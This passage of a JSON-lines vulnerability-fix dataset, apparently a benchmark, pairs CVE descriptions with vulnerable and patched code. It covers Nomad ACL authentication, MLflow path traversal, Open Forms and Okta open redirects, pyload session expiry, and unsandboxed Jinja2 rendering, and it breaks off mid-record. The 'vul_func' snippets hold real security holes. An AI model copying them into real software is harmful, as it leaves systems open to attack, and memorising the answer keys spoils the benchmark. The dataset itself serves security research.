fast-path this at the top of the method, because authenticated HTTP\n\t// requests to the clients will come in over to the same session.\n\tif ctx.NodeID != \"\" {\n\t\targs.SetIdentity(&structs.AuthenticatedIdentity{ClientID: ctx.NodeID})\n\t\treturn nil\n\t}\n\n\t// Unlike clients that provide their Node ID on first connection, server\n\t// RPCs don't include an ID for the server so we identify servers by cert\n\t// and IP address.\n\tidentity := &structs.AuthenticatedIdentity{ACLToken: aclToken}\n\tif ctx.TLS {\n\t\tidentity.TLSName = ctx.Certificate().Subject.CommonName\n\t}\n\n\tremoteIP, err := s.remoteIPFromRPCContext(ctx)\n\tif err != nil {\n\t\ts.logger.Error(\n\t\t\t\"could not authenticate RPC request or determine remote address\", \"error\", err)\n\t\treturn err\n\t}\n\tidentity.RemoteIP = remoteIP\n\targs.SetIdentity(identity)\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_153_1", "commit": "3e93b70", "file_path": "nomad/acl.go", "start_line": 30, "end_line": 129, "snippet": "func (s *Server) Authenticate(ctx *RPCContext, args structs.RequestWithIdentity) error {\n\n\t// get the user ACLToken or anonymous token\n\tsecretID := args.GetAuthToken()\n\taclToken, err := s.ResolveSecretToken(secretID)\n\n\tswitch {\n\tcase err == nil:\n\t\t// If ACLs are disabled or we have a non-anonymous token, return that.\n\t\tif aclToken == nil || aclToken != structs.AnonymousACLToken {\n\t\t\targs.SetIdentity(&structs.AuthenticatedIdentity{ACLToken: aclToken})\n\t\t\treturn nil\n\t\t}\n\n\tcase errors.Is(err, structs.ErrTokenExpired):\n\t\treturn err\n\n\tcase errors.Is(err, structs.ErrTokenInvalid):\n\t\t// if it's not a UUID it might be an identity claim\n\t\tclaims, err := s.VerifyClaim(secretID)\n\t\tif err != nil {\n\t\t\t// we already know the token wasn't valid for an ACL in the state\n\t\t\t// store, so if we get an error at this point we have an invalid\n\t\t\t// token and there are no other options but to bail out\n\t\t\treturn err\n\t\t}\n\n\t\targs.SetIdentity(&structs.AuthenticatedIdentity{Claims: claims})\n\t\treturn nil\n\n\tcase errors.Is(err, structs.ErrTokenNotFound):\n\t\t// Check if the secret ID is the leader's secret ID, in which case treat\n\t\t// it as a management token.\n\t\tleaderAcl := s.getLeaderAcl()\n\t\tif leaderAcl != \"\" && secretID == leaderAcl {\n\t\t\taclToken = structs.LeaderACLToken\n\t\t\tbreak\n\t\t} else {\n\t\t\t// Otherwise, see if the secret ID belongs to a node. We should\n\t\t\t// reach this point only on first connection.\n\t\t\tnode, err := s.State().NodeBySecretID(nil, secretID)\n\t\t\tif err != nil {\n\t\t\t\t// this is a go-memdb error; shouldn't happen\n\t\t\t\treturn fmt.Errorf(\"could not resolve node secret: %w\", err)\n\t\t\t}\n\t\t\tif node != nil {\n\t\t\t\targs.SetIdentity(&structs.AuthenticatedIdentity{ClientID: node.ID})\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\n\t\t// we were passed a bogus token so we'll return an error, but we'll also\n\t\t// want to capture the IP for metrics\n\t\tremoteIP, err := s.remoteIPFromRPCContext(ctx)\n\t\tif err != nil {\n\t\t\ts.logger.Error(\"could not determine remote address\", \"error\", err)\n\t\t}\n\t\targs.SetIdentity(&structs.AuthenticatedIdentity{RemoteIP: remoteIP})\n\t\treturn structs.ErrPermissionDenied\n\n\tdefault: // any other error\n\t\treturn fmt.Errorf(\"could not resolve user: %w\", err)\n\n\t}\n\n\t// If there's no context we're in a \"static\" handler which only happens for\n\t// cases where the leader is making RPCs internally (volumewatcher and\n\t// deploymentwatcher)\n\tif ctx == nil {\n\t\targs.SetIdentity(&structs.AuthenticatedIdentity{ACLToken: aclToken})\n\t\treturn nil\n\t}\n\n\t// At this point we either have an anonymous token or an invalid one.\n\n\t// TODO(tgross): remove this entirely in 1.6.0 and enforce that all RPCs\n\t// driven by the clients have secret IDs set\n\tif ctx.NodeID != \"\" && secretID != \"\" {\n\t\targs.SetIdentity(&structs.AuthenticatedIdentity{ClientID: ctx.NodeID})\n\t\treturn nil\n\t}\n\n\t// Unlike clients that provide their Node ID on first connection, server\n\t// RPCs don't include an ID for the server so we identify servers by cert\n\t// and IP address.\n\tidentity := &structs.AuthenticatedIdentity{ACLToken: aclToken}\n\tif ctx.TLS {\n\t\tidentity.TLSName = ctx.Certificate().Subject.CommonName\n\t}\n\n\tremoteIP, err := s.remoteIPFromRPCContext(ctx)\n\tif err != nil {\n\t\ts.logger.Error(\n\t\t\t\"could not authenticate RPC request or determine remote address\", \"error\", err)\n\t\treturn err\n\t}\n\tidentity.RemoteIP = remoteIP\n\targs.SetIdentity(identity)\n\treturn nil\n}"}], "vul_patch": "--- a/nomad/acl.go\n+++ b/nomad/acl.go\n@@ -73,12 +73,9 @@\n \n \t// At this point we either have an anonymous token or an invalid one.\n \n-\t// Previously-connected clients will have a NodeID set on the context, which\n-\t// is available for all yamux streams over the same yamux session (and TCP\n-\t// connection). This will be a large portion of the RPCs sent, but we can't\n-\t// fast-path this at the top of the method, because authenticated HTTP\n-\t// requests to the clients will come in over to the same session.\n-\tif ctx.NodeID != \"\" {\n+\t// TODO(tgross): remove this entirely in 1.6.0 and enforce that all RPCs\n+\t// driven by the clients have secret IDs set\n+\tif ctx.NodeID != \"\" && secretID != \"\" {\n \t\targs.SetIdentity(&structs.AuthenticatedIdentity{ClientID: ctx.NodeID})\n \t\treturn nil\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-30172", "cve_description": "A directory traversal vulnerability in the /get-artifact API method of the mlflow platform up to v2.0.1 allows attackers to read arbitrary files on the server via the path parameter.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mlflow/mlflow", "patch_url": ["https://github.com/mlflow/mlflow/commit/ac4b697bb0bb8a331944dca63f4235b4bf602ab8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_30_1", "commit": "d1c7621", "file_path": "mlflow/server/handlers.py", "start_line": 528, "end_line": 546, "snippet": "def get_artifact_handler():\n    from querystring_parser import parser\n\n    query_string = request.query_string.decode(\"utf-8\")\n    request_dict = parser.parse(query_string, normalized=True)\n    run_id = request_dict.get(\"run_id\") or request_dict.get(\"run_uuid\")\n    run = _get_tracking_store().get_run(run_id)\n\n    if _is_servable_proxied_run_artifact_root(run.info.artifact_uri):\n        artifact_repo = _get_artifact_repo_mlflow_artifacts()\n        artifact_path = _get_proxied_run_artifact_destination_path(\n            proxied_artifact_root=run.info.artifact_uri,\n            relative_path=request_dict[\"path\"],\n        )\n    else:\n        artifact_repo = _get_artifact_repo(run)\n        artifact_path = request_dict[\"path\"]\n\n    return _send_artifact(artifact_repo, artifact_path)"}, {"id": "vul_py_30_2", "commit": "d1c7621", "file_path": "mlflow/server/handlers.py", "start_line": 887, "end_line": 916, "snippet": "def _list_artifacts():\n    request_message = _get_request_message(\n        ListArtifacts(),\n        schema={\n            \"run_id\": [_assert_string, _assert_required],\n            \"path\": [_assert_string],\n            \"page_token\": [_assert_string],\n        },\n    )\n    response_message = ListArtifacts.Response()\n    if request_message.HasField(\"path\"):\n        path = request_message.path\n    else:\n        path = None\n    run_id = request_message.run_id or request_message.run_uuid\n    run = _get_tracking_store().get_run(run_id)\n\n    if _is_servable_proxied_run_artifact_root(run.info.artifact_uri):\n        artifact_entities = _list_artifacts_for_proxied_run_artifact_root(\n            proxied_artifact_root=run.info.artifact_uri,\n            relative_path=path,\n        )\n    else:\n        artifact_entities = _get_artifact_repo(run).list_artifacts(path)\n\n    response_message.files.extend([a.to_proto() for a in artifact_entities])\n    response_message.root_uri = run.info.artifact_uri\n    response = Response(mimetype=\"application/json\")\n    response.set_data(message_to_json(response_message))\n    return response"}, {"id": "vul_py_30_3", "commit": "d1c7621", "file_path": "mlflow/server/handlers.py", "start_line": 1269, "end_line": 1288, "snippet": "def get_model_version_artifact_handler():\n    from querystring_parser import parser\n\n    query_string = request.query_string.decode(\"utf-8\")\n    request_dict = parser.parse(query_string, normalized=True)\n    name = request_dict.get(\"name\")\n    version = request_dict.get(\"version\")\n    artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)\n\n    if _is_servable_proxied_run_artifact_root(artifact_uri):\n        artifact_repo = _get_artifact_repo_mlflow_artifacts()\n        artifact_path = _get_proxied_run_artifact_destination_path(\n            proxied_artifact_root=artifact_uri,\n            relative_path=request_dict[\"path\"],\n        )\n    else:\n        artifact_repo = get_artifact_repository(artifact_uri)\n        artifact_path = request_dict[\"path\"]\n\n    return _send_artifact(artifact_repo, artifact_path)"}], "fix_func": [{"id": "fix_py_30_1", "commit": "ac4b697", "file_path": "mlflow/server/handlers.py", "start_line": 548, "end_line": 568, "snippet": "def get_artifact_handler():\n    from querystring_parser import parser\n\n    query_string = request.query_string.decode(\"utf-8\")\n    request_dict = parser.parse(query_string, normalized=True)\n    run_id = request_dict.get(\"run_id\") or request_dict.get(\"run_uuid\")\n    path = request_dict[\"path\"]\n    validate_path_is_safe(path)\n    run = _get_tracking_store().get_run(run_id)\n\n    if _is_servable_proxied_run_artifact_root(run.info.artifact_uri):\n        artifact_repo = _get_artifact_repo_mlflow_artifacts()\n        artifact_path = _get_proxied_run_artifact_destination_path(\n            proxied_artifact_root=run.info.artifact_uri,\n            relative_path=path,\n        )\n    else:\n        artifact_repo = _get_artifact_repo(run)\n        artifact_path = path\n\n    return _send_artifact(artifact_repo, artifact_path)"}, {"id": "fix_py_30_2", "commit": "ac4b697", "file_path": "mlflow/server/handlers.py", "start_line": 909, "end_line": 939, "snippet": "def _list_artifacts():\n    request_message = _get_request_message(\n        ListArtifacts(),\n        schema={\n            \"run_id\": [_assert_string, _assert_required],\n            \"path\": [_assert_string],\n            \"page_token\": [_assert_string],\n        },\n    )\n    response_message = ListArtifacts.Response()\n    if request_message.HasField(\"path\"):\n        path = request_message.path\n        validate_path_is_safe(path)\n    else:\n        path = None\n    run_id = request_message.run_id or request_message.run_uuid\n    run = _get_tracking_store().get_run(run_id)\n\n    if _is_servable_proxied_run_artifact_root(run.info.artifact_uri):\n        artifact_entities = _list_artifacts_for_proxied_run_artifact_root(\n            proxied_artifact_root=run.info.artifact_uri,\n            relative_path=path,\n        )\n    else:\n        artifact_entities = _get_artifact_repo(run).list_artifacts(path)\n\n    response_message.files.extend([a.to_proto() for a in artifact_entities])\n    response_message.root_uri = run.info.artifact_uri\n    response = Response(mimetype=\"application/json\")\n    response.set_data(message_to_json(response_message))\n    return response"}, {"id": "fix_py_30_3", "commit": "ac4b697", "file_path": "mlflow/server/handlers.py", "start_line": 1292, "end_line": 1312, "snippet": "def get_model_version_artifact_handler():\n    from querystring_parser import parser\n\n    query_string = request.query_string.decode(\"utf-8\")\n    request_dict = parser.parse(query_string, normalized=True)\n    name = request_dict.get(\"name\")\n    version = request_dict.get(\"version\")\n    path = request_dict[\"path\"]\n    validate_path_is_safe(path)\n    artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)\n    if _is_servable_proxied_run_artifact_root(artifact_uri):\n        artifact_repo = _get_artifact_repo_mlflow_artifacts()\n        artifact_path = _get_proxied_run_artifact_destination_path(\n            proxied_artifact_root=artifact_uri,\n            relative_path=path,\n        )\n    else:\n        artifact_repo = get_artifact_repository(artifact_uri)\n        artifact_path = path\n\n    return _send_artifact(artifact_repo, artifact_path)"}, {"id": "fix_py_30_4", "commit": "ac4b697", "file_path": "mlflow/server/handlers.py", "start_line": 530, "end_line": 544, "snippet": "def validate_path_is_safe(path):\n    \"\"\"\n    Validates that the specified path is safe to join with a trusted prefix. This is a security\n    measure to prevent path traversal attacks. The implementation is based on\n    `werkzeug.security.safe_join` (https://github.com/pallets/werkzeug/blob/a3005e6acda7246fe0a684c71921bf4882b4ba1c/src/werkzeug/security.py#L110).\n    \"\"\"\n    if path != \"\":\n        path = posixpath.normpath(path)\n    if (\n        any(sep in path for sep in _os_alt_seps)\n        or os.path.isabs(path)\n        or path == \"..\"\n        or path.startswith(\"../\")\n    ):\n        raise MlflowException(f\"Invalid path: {path}\", error_code=INVALID_PARAMETER_VALUE)"}, {"id": "fix_py_30_5", "commit": "ac4b697", "file_path": "mlflow/server/handlers.py", "start_line": 527, "end_line": 527, "snippet": "_os_alt_seps = list(sep for sep in [os.sep, os.path.altsep] if sep is not None and sep != \"/\")"}], "vul_patch": "--- a/mlflow/server/handlers.py\n+++ b/mlflow/server/handlers.py\n@@ -4,16 +4,18 @@\n     query_string = request.query_string.decode(\"utf-8\")\n     request_dict = parser.parse(query_string, normalized=True)\n     run_id = request_dict.get(\"run_id\") or request_dict.get(\"run_uuid\")\n+    path = request_dict[\"path\"]\n+    validate_path_is_safe(path)\n     run = _get_tracking_store().get_run(run_id)\n \n     if _is_servable_proxied_run_artifact_root(run.info.artifact_uri):\n         artifact_repo = _get_artifact_repo_mlflow_artifacts()\n         artifact_path = _get_proxied_run_artifact_destination_path(\n             proxied_artifact_root=run.info.artifact_uri,\n-            relative_path=request_dict[\"path\"],\n+            relative_path=path,\n         )\n     else:\n         artifact_repo = _get_artifact_repo(run)\n-        artifact_path = request_dict[\"path\"]\n+        artifact_path = path\n \n     return _send_artifact(artifact_repo, artifact_path)\n\n--- a/mlflow/server/handlers.py\n+++ b/mlflow/server/handlers.py\n@@ -10,6 +10,7 @@\n     response_message = ListArtifacts.Response()\n     if request_message.HasField(\"path\"):\n         path = request_message.path\n+        validate_path_is_safe(path)\n     else:\n         path = None\n     run_id = request_message.run_id or request_message.run_uuid\n\n--- a/mlflow/server/handlers.py\n+++ b/mlflow/server/handlers.py\n@@ -5,16 +5,17 @@\n     request_dict = parser.parse(query_string, normalized=True)\n     name = request_dict.get(\"name\")\n     version = request_dict.get(\"version\")\n+    path = request_dict[\"path\"]\n+    validate_path_is_safe(path)\n     artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)\n-\n     if _is_servable_proxied_run_artifact_root(artifact_uri):\n         artifact_repo = _get_artifact_repo_mlflow_artifacts()\n         artifact_path = _get_proxied_run_artifact_destination_path(\n             proxied_artifact_root=artifact_uri,\n-            relative_path=request_dict[\"path\"],\n+            relative_path=path,\n         )\n     else:\n         artifact_repo = get_artifact_repository(artifact_uri)\n-        artifact_path = request_dict[\"path\"]\n+        artifact_path = path\n \n     return _send_artifact(artifact_repo, artifact_path)\n\n--- /dev/null\n+++ b/mlflow/server/handlers.py\n@@ -0,0 +1,15 @@\n+def validate_path_is_safe(path):\n+    \"\"\"\n+    Validates that the specified path is safe to join with a trusted prefix. This is a security\n+    measure to prevent path traversal attacks. The implementation is based on\n+    `werkzeug.security.safe_join` (https://github.com/pallets/werkzeug/blob/a3005e6acda7246fe0a684c71921bf4882b4ba1c/src/werkzeug/security.py#L110).\n+    \"\"\"\n+    if path != \"\":\n+        path = posixpath.normpath(path)\n+    if (\n+        any(sep in path for sep in _os_alt_seps)\n+        or os.path.isabs(path)\n+        or path == \"..\"\n+        or path.startswith(\"../\")\n+    ):\n+        raise MlflowException(f\"Invalid path: {path}\", error_code=INVALID_PARAMETER_VALUE)\n\n--- /dev/null\n+++ b/mlflow/server/handlers.py\n@@ -0,0 +1 @@\n+_os_alt_seps = list(sep for sep in [os.sep, os.path.altsep] if sep is not None and sep != \"/\")\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-30172:latest\n# bash /workspace/fix-run.sh\nset -e\nexport PATH=\"/workspace/PoC_env/CVE-2023-30172/bin:$PATH\"\ncd /workspace/mlflow\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-30172/bin/python -m pytest tests/tracking/test_rest_tracking.py::test_path_validation tests/tracking/test_rest_tracking.py::test_validate_path_is_safe_good tests/tracking/test_rest_tracking.py::test_validate_path_is_safe_bad\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-30172:latest\n# bash /workspace/unit_test.sh\nset -e\nexport PATH=\"/workspace/PoC_env/CVE-2023-30172/bin:$PATH\"\ncd /workspace/mlflow\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-30172/bin/python -m pytest tests/tracking/test_rest_tracking.py -k \"not test_log_model[file] and not test_log_model[sqlalchemy] and not test_artifacts[file] and not test_artifacts[sqlalchemy]\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2022-31040", "cve_description": "Open Forms is an application for creating and publishing smart forms. Prior to versions 1.0.9 and 1.1.1, the cookie consent page in Open Forms contains an open redirect by injecting a `referer` querystring parameter and failing to validate the value. A malicious actor is able to redirect users to a website under their control, opening them up for phishing attacks. The redirect is initiated by the open forms backend which is a legimate page, making it less obvious to end users they are being redirected to a malicious website. Versions 1.0.9 and 1.1.1 contain patches for this issue. There are no known workarounds avaialble.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/open-formulieren/open-forms", "patch_url": ["https://github.com/open-formulieren/open-forms/commit/3e8c9cce386e548765783354694fbb9d7a6ea7d3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_265_1", "commit": "908a36a", "file_path": "src/openforms/utils/redirect.py", "start_line": 13, "end_line": 30, "snippet": "def allow_redirect_url(url: str) -> bool:\n    \"\"\"\n    Check that a redirect target is allowed against the CORS policy.\n\n    The \"Cross-Origin Resource Sharing\" configuration specifies which external hosts\n    are allowed to access Open Forms. We leverage this configuration to block or allow\n    redirects to external hosts.\n    \"\"\"\n    cors = CorsMiddleware()\n    origin = origin_from_url(url)\n    parts = urlparse(url)\n\n    if not cors_conf.CORS_ALLOW_ALL_ORIGINS and not cors.origin_found_in_white_lists(\n        origin, parts\n    ):\n        return False\n    else:\n        return True"}], "fix_func": [{"id": "fix_py_265_1", "commit": "3e8c9cc", "file_path": "src/openforms/utils/redirect.py", "start_line": 16, "end_line": 47, "snippet": "def allow_redirect_url(url: str) -> bool:\n    \"\"\"\n    Check that a redirect target is allowed against the CORS policy.\n\n    The \"Cross-Origin Resource Sharing\" configuration specifies which external hosts\n    are allowed to access Open Forms. We leverage this configuration to block or allow\n    redirects to external hosts.\n    \"\"\"\n    # first, check if the URL is in ALLOWED_HOSTS. We deliberately exclude the wildcard\n    # setting to require explicit configuration either via ALLOWED_HOSTS or CORS_* settings.\n    allowed_hosts_check = url_has_allowed_host_and_scheme(\n        url=url,\n        allowed_hosts=[host for host in settings.ALLOWED_HOSTS if host != \"*\"],\n        # settings.ALLOWED_HOSTS means we are serving the domain, so we can enforce our\n        # own custom HTTPS setting.\n        require_https=settings.IS_HTTPS,\n    )\n    # if we pass via ALLOWED_HOSTS, short-circuit, otherwise we check the CORS policy\n    # for allowed external domains.\n    if allowed_hosts_check:\n        return True\n\n    cors = CorsMiddleware()\n    origin = origin_from_url(url)\n    parts = urlparse(url)\n\n    if not cors_conf.CORS_ALLOW_ALL_ORIGINS and not cors.origin_found_in_white_lists(\n        origin, parts\n    ):\n        return False\n    else:\n        return True"}, {"id": "fix_py_265_2", "commit": "3e8c9cc", "file_path": "src/openforms/forms/templatetags/openforms.py", "start_line": 37, "end_line": 50, "snippet": "def get_allowed_redirect_url(*candidates: str) -> str:\n    \"\"\"\n    Output the first variable passed that is not empty and is an allowed redirect URL.\n\n    Output nothing if none of the values satisfy the requirements.\n\n    Heavily insired on the builtin {% firstof %} tag.\n    \"\"\"\n    for candidate in candidates:\n        if not candidate:\n            continue\n        if allow_redirect_url(candidate):\n            return candidate\n    return \"\""}], "vul_patch": "--- a/src/openforms/utils/redirect.py\n+++ b/src/openforms/utils/redirect.py\n@@ -6,6 +6,20 @@\n     are allowed to access Open Forms. We leverage this configuration to block or allow\n     redirects to external hosts.\n     \"\"\"\n+    # first, check if the URL is in ALLOWED_HOSTS. We deliberately exclude the wildcard\n+    # setting to require explicit configuration either via ALLOWED_HOSTS or CORS_* settings.\n+    allowed_hosts_check = url_has_allowed_host_and_scheme(\n+        url=url,\n+        allowed_hosts=[host for host in settings.ALLOWED_HOSTS if host != \"*\"],\n+        # settings.ALLOWED_HOSTS means we are serving the domain, so we can enforce our\n+        # own custom HTTPS setting.\n+        require_https=settings.IS_HTTPS,\n+    )\n+    # if we pass via ALLOWED_HOSTS, short-circuit, otherwise we check the CORS policy\n+    # for allowed external domains.\n+    if allowed_hosts_check:\n+        return True\n+\n     cors = CorsMiddleware()\n     origin = origin_from_url(url)\n     parts = urlparse(url)\n\n--- /dev/null\n+++ b/src/openforms/utils/redirect.py\n@@ -0,0 +1,14 @@\n+def get_allowed_redirect_url(*candidates: str) -> str:\n+    \"\"\"\n+    Output the first variable passed that is not empty and is an allowed redirect URL.\n+\n+    Output nothing if none of the values satisfy the requirements.\n+\n+    Heavily insired on the builtin {% firstof %} tag.\n+    \"\"\"\n+    for candidate in candidates:\n+        if not candidate:\n+            continue\n+        if allow_redirect_url(candidate):\n+            return candidate\n+    return \"\"\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-0227", "cve_description": "Insufficient Session Expiration in GitHub repository pyload/pyload prior to 0.5.0b3.dev36.", "cwe_info": {"CWE-613": {"name": "Insufficient Session Expiration", "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""}}, "repo": "https://github.com/pyload/pyload", "patch_url": ["https://github.com/pyload/pyload/commit/c035714c0596b704b11af0f8a669352f128ad2d9"], "programing_language": "Python", "vul_func": [{"id": "vul_py_335_1", "commit": "a7e1616", "file_path": "src/pyload/webui/app/helpers.py", "start_line": 166, "end_line": 169, "snippet": "def is_authenticated(session=flask.session):\n    return session.get(\"name\") and session.get(\n        \"authenticated\"\n    )  # NOTE: why checks name?"}], "fix_func": [{"id": "fix_py_335_1", "commit": "c035714c0596b704b11af0f8a669352f128ad2d9", "file_path": "src/pyload/webui/app/helpers.py", "start_line": 166, "end_line": 171, "snippet": "def is_authenticated(session=flask.session):\n    api = flask.current_app.config[\"PYLOAD_API\"]\n    user = session.get(\"name\")\n    authenticated = session.get(\"authenticated\")\n\n    return authenticated and api.user_exists(user)"}, {"id": "fix_py_335_2", "commit": "c035714c0596b704b11af0f8a669352f128ad2d9", "file_path": "src/pyload/core/api/__init__.py", "start_line": 1233, "end_line": 1241, "snippet": "    def user_exists(self, username):\n        \"\"\"\n        Check if a user actually exists in the database.\n\n        :param username:\n        :return: boolean\n        \"\"\"\n        return self.pyload.db.user_exists(username)\n"}, {"id": "fix_py_335_3", "commit": "c035714c0596b704b11af0f8a669352f128ad2d9", "file_path": "src/pyload/core/database/user_database.py", "start_line": 95, "end_line": 99, "snippet": "    @style.queue\n    def user_exists(self, user):\n        self.c.execute(\"SELECT name FROM users WHERE name=?\", (user,))\n        return self.c.fetchone() is not None\n"}], "vul_patch": "--- a/src/pyload/webui/app/helpers.py\n+++ b/src/pyload/webui/app/helpers.py\n@@ -1,4 +1,6 @@\n def is_authenticated(session=flask.session):\n-    return session.get(\"name\") and session.get(\n-        \"authenticated\"\n-    )  # NOTE: why checks name?\n+    api = flask.current_app.config[\"PYLOAD_API\"]\n+    user = session.get(\"name\")\n+    authenticated = session.get(\"authenticated\")\n+\n+    return authenticated and api.user_exists(user)\n\n--- /dev/null\n+++ b/src/pyload/webui/app/helpers.py\n@@ -0,0 +1,8 @@\n+    def user_exists(self, username):\n+        \"\"\"\n+        Check if a user actually exists in the database.\n+\n+        :param username:\n+        :return: boolean\n+        \"\"\"\n+        return self.pyload.db.user_exists(username)\n\n--- /dev/null\n+++ b/src/pyload/webui/app/helpers.py\n@@ -0,0 +1,4 @@\n+    @style.queue\n+    def user_exists(self, user):\n+        self.c.execute(\"SELECT name FROM users WHERE name=?\", (user,))\n+        return self.c.fetchone() is not None\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-3145", "cve_description": "An open redirect vulnerability exists in Okta OIDC Middleware prior to version 5.0.0 allowing an attacker to redirect a user to an arbitrary URL.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/okta/okta-oidc-middleware", "patch_url": ["https://github.com/okta/okta-oidc-middleware/commit/5d10b3ccdd5d6893de4d8b58696094267d30c113"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_212_1", "commit": "fe24bfc", "file_path": "src/oidcUtil.js", "start_line": 135, "end_line": 160, "snippet": "oidcUtil.ensureAuthenticated = (context, options = {}) => {\n  return (req, res, next) => {\n    const isAuthenticated = req.isAuthenticated && req.isAuthenticated();\n    if (isAuthenticated) {\n      return next();\n    }\n    const negotiator = new Negotiator(req);\n    if (negotiator.mediaType() === 'text/html') {\n      if (!isAuthenticated) {\n        if (req.session) {\n          req.session.returnTo = req.originalUrl || req.url;\n        }\n        let url = options.redirectTo;\n        if (!url) {\n          const loginPath = context.options.routes.login.path;\n          url = (new URL(loginPath[0] === '/' ? `.${loginPath}` : `/${loginPath}`, context.options.appBaseUrl + '/')).href;\n        }\n        return res.redirect(appendOptionsToQuery(url, options));\n      }\n\n      next();\n    } else {\n      res.sendStatus(401);\n    }\n  };\n};"}], "fix_func": [{"id": "fix_js_212_1", "commit": "5d10b3ccdd5d6893de4d8b58696094267d30c113", "file_path": "src/oidcUtil.js", "start_line": 135, "end_line": 161, "snippet": "oidcUtil.ensureAuthenticated = (context, options = {}) => {\n  return (req, res, next) => {\n    const isAuthenticated = req.isAuthenticated && req.isAuthenticated();\n    if (isAuthenticated) {\n      return next();\n    }\n    const negotiator = new Negotiator(req);\n    if (negotiator.mediaType() === 'text/html') {\n      if (!isAuthenticated) {\n        if (req.session) {\n          // collapse any leading slashes to a single slash to prevent open redirects (OKTA-499372)\n          req.session.returnTo = (req.originalUrl || req.url).replace(/^\\/+/, '/');\n        }\n        let url = options.redirectTo;\n        if (!url) {\n          const loginPath = context.options.routes.login.path;\n          url = (new URL(loginPath[0] === '/' ? `.${loginPath}` : `/${loginPath}`, context.options.appBaseUrl + '/')).href;\n        }\n        return res.redirect(appendOptionsToQuery(url, options));\n      }\n\n      next();\n    } else {\n      res.sendStatus(401);\n    }\n  };\n};"}], "vul_patch": "--- a/src/oidcUtil.js\n+++ b/src/oidcUtil.js\n@@ -8,7 +8,8 @@\n     if (negotiator.mediaType() === 'text/html') {\n       if (!isAuthenticated) {\n         if (req.session) {\n-          req.session.returnTo = req.originalUrl || req.url;\n+          // collapse any leading slashes to a single slash to prevent open redirects (OKTA-499372)\n+          req.session.returnTo = (req.originalUrl || req.url).replace(/^\\/+/, '/');\n         }\n         let url = options.redirectTo;\n         if (!url) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-6395", "cve_description": "The Mock software contains a vulnerability wherein an attacker could potentially exploit privilege escalation, enabling the execution of arbitrary code with root user privileges. This weakness stems from the absence of proper sandboxing during the expansion and execution of Jinja2 templates, which may be included in certain configuration parameters. While the Mock documentation advises treating users added to the mock group as privileged, certain build systems invoking mock on behalf of users might inadvertently permit less privileged users to define configuration tags. These tags could then be passed as parameters to mock during execution, potentially leading to the utilization of Jinja2 templates for remote privilege escalation and the execution of arbitrary code as the root user on the build server.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/xsuchy/templated-dictionary", "patch_url": ["https://github.com/xsuchy/templated-dictionary/commit/bcd90f0dafa365575c4b101e6f5d98c4ef4e4b69", "https://github.com/xsuchy/templated-dictionary/commit/0740bd0ca8d487301881541028977d120f8b8933"], "programing_language": "Python", "vul_func": [{"id": "vul_py_386_1", "commit": "11ecb712ac9c240ebda6c5c784023f3f22f5bd02", "file_path": "templated_dictionary/__init__.py", "start_line": 11, "end_line": 26, "snippet": "    def __init__(self, *args, alias_spec=None, **kwargs):\n        '''\n        Use the object dict.\n\n        Optional parameter 'alias_spec' is dictionary of form:\n        {'aliased_to': ['alias_one', 'alias_two', ...], ...}\n        When specified, and one of the aliases is accessed - the\n        'aliased_to' config option is returned.\n        '''\n        self.__dict__.update(*args, **kwargs)\n\n        self._aliases = {}\n        if alias_spec:\n            for aliased_to, aliases in alias_spec.items():\n                for alias in aliases:\n                    self._aliases[alias] = aliased_to"}, {"id": "vul_py_386_2", "commit": "11ecb712ac9c240ebda6c5c784023f3f22f5bd02", "file_path": "templated_dictionary/__init__.py", "start_line": 79, "end_line": 88, "snippet": "    def __render_string(self, value):\n        orig = last = value\n        max_recursion = self.__dict__.get('jinja_max_recursion', 5)\n        for _ in range(max_recursion):\n            template = jinja2.Template(value, keep_trailing_newline=True)\n            value = _to_native(template.render(self.__dict__))\n            if value == last:\n                return value\n            last = value\n        raise ValueError(\"too deep jinja re-evaluation on 